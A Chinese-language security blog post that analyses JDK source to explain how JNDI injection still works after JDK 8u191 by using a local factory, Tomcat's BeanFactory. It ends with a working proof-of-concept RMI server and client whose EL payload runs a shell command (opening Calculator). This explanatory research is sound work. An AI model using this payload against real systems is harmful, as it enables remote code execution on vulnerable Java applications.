Contents

java在jdk8u191后的jndi注入

Contents

在 jdk8u191 之后的版本中,com.sun.jndi.rmi.registry.RegistryContext.trustURLCodebase被默认设置为false,这个属性禁止我们远程加载factory (也就是设计模式里的工厂类,用来“生产”相应的实例)。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private Object decodeObject(Remote r, Name name) throws NamingException {
        try {
            Object obj = (r instanceof RemoteReference)
                        ? ((RemoteReference)r).getReference()
                        : (Object)r;

            /*
             * Classes may only be loaded from an arbitrary URL codebase when
             * the system property com.sun.jndi.rmi.object.trustURLCodebase
             * has been set to "true".
             */

            // Use reference if possible
            Reference ref = null;
            if (obj instanceof Reference) {
                ref = (Reference) obj;
            } else if (obj instanceof Referenceable) {
                ref = ((Referenceable)(obj)).getReference();
            }

            if (ref != null && ref.getFactoryClassLocation() != null &&
                !trustURLCodebase) {
                throw new ConfigurationException(
                    "The object factory is untrusted. Set the system property" +
                    " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
            }
            return NamingManager.getObjectInstance(obj, name, this,
                                                   environment);
        } catch (NamingException e) {
            throw e;
        } catch (RemoteException e) {
            throw (NamingException)
                wrapRemoteException(e).fillInStackTrace();
        } catch (Exception e) {
            NamingException ne = new NamingException();
            ne.setRootCause(e);
            throw ne;
        }
    }

}

这里根据if语句中的判断,前两个一般情况下都是true的,所以当com.sun.jndi.rmi.registry.RegistryContext.trustURLCodebasefalse就会进入从而抛出错误,所以这里是必不可能去走的,那么得想办法从另外两个语句想办法绕过,ref肯定不能为null,所以从ref.getFactoryClassLocation()下手。先找到当初factoryClassLocation是在哪里设置的。

1
2
3
4
5
6
public Reference(String className, RefAddr addr,
                     String factory, String factoryLocation) {
        this(className, addr);
        classFactory = factory;
        classFactoryLocation = factoryLocation;
}

很明显,这是在构造函数里面设置的,所以只要在当初对Reference子类进行实例化的时候将factoryLocation设置为null即可。接下来就可以进入NamingManager.getObjectInstance,分析一下代码逻辑。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public static Object
        getObjectInstance(Object refInfo, Name name, Context nameCtx,
                          Hashtable<?,?> environment)
        throws Exception
    {

        ObjectFactory factory;

        // Use builder if installed
        ObjectFactoryBuilder builder = getObjectFactoryBuilder();
        if (builder != null) {
            // builder must return non-null factory
            factory = builder.createObjectFactory(refInfo, environment);
            return factory.getObjectInstance(refInfo, name, nameCtx,
                environment);
        }

        // Use reference if possible
        Reference ref = null;
        if (refInfo instanceof Reference) {
            ref = (Reference) refInfo;
        } else if (refInfo instanceof Referenceable) {
            ref = ((Referenceable)(refInfo)).getReference();
        }

        Object answer;

        if (ref != null) {
            String f = ref.getFactoryClassName();
            if (f != null) {
                // if reference identifies a factory, use exclusively

                factory = getObjectFactoryFromReference(ref, f);
                if (factory != null) {
                    return factory.getObjectInstance(ref, name, nameCtx,
                                                     environment);
                }
                // No factory found, so return original refInfo.
                // Will reach this point if factory class is not in
                // class path and reference does not contain a URL for it
                return refInfo;

            } else {
                // if reference has no factory, check for addresses
                // containing URLs

                answer = processURLAddrs(ref, name, nameCtx, environment);
                if (answer != null) {
                    return answer;
                }
            }
        }

        // try using any specified factories
        answer =
            createObjectFromFactories(refInfo, name, nameCtx, environment);
        return (answer != null) ? answer : refInfo;
}

直接看到factory = getObjectFactoryFromReference(ref, f);,因为之前的代码都是取值操作,并且getObjectFactoryBuilder()是默认为null,所以不会进入,接下来继续往下分析。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static ObjectFactory getObjectFactoryFromReference(
        Reference ref, String factoryName)
        throws IllegalAccessException,
        InstantiationException,
        MalformedURLException {
        Class<?> clas = null;

        // Try to use current class loader
        try {
            clas = helper.loadClassWithoutInit(factoryName);
            // Validate factory's class with the objects factory serial filter
            if (!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
                return null;
            }
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                clas = helper.loadClass(factoryName, codebase);
                // Validate factory's class with the objects factory serial filter
                if (clas == null ||
                    !ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
                    return null;
                }
            } catch (ClassNotFoundException e) {
            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

通读代码,因为ref.getFactoryClassLocation()前面已经堵住了,所以不需要分析,直接看到clas = helper.loadClassWithoutInit(factoryName);加载了相应的类,最后将类实例化后返回得到factory

1
2
3
4
factory = getObjectFactoryFromReference(ref, f);
		if (factory != null) {
				return factory.getObjectInstance(ref, name, nameCtx, environment);
		}

承接上上代码,拿到factory之后就去"生产"相应类实例了,但是这个factory具体是什么我们也不知道,但是有几点是必须的:

  1. factory必须实现javax.naming.spi.ObjectFactory接口;
  2. factory必须有 getObjectInstance()方法

所以大师傅们选择了org.apache.naming.factory.BeanFactory,此类存在于tomcat依赖包中,所以用途比较广泛的。那么关于org.apache.naming.factory.BeanFactory是如何做到RCE的就先放着,下次再说(咕咕

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// JNDIClient.java

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws NamingException {
        Context context = new InitialContext();
        context.lookup("rmi://127.0.0.1:1099/hack");
    }
}



// JNDIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class JNDIServer {

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, MalformedURLException {
        LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash', '-c', 'open -a Calculator.app']).start()\")"));

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        Naming.bind("rmi://127.0.0.1:1099/hack", referenceWrapper);
    }
}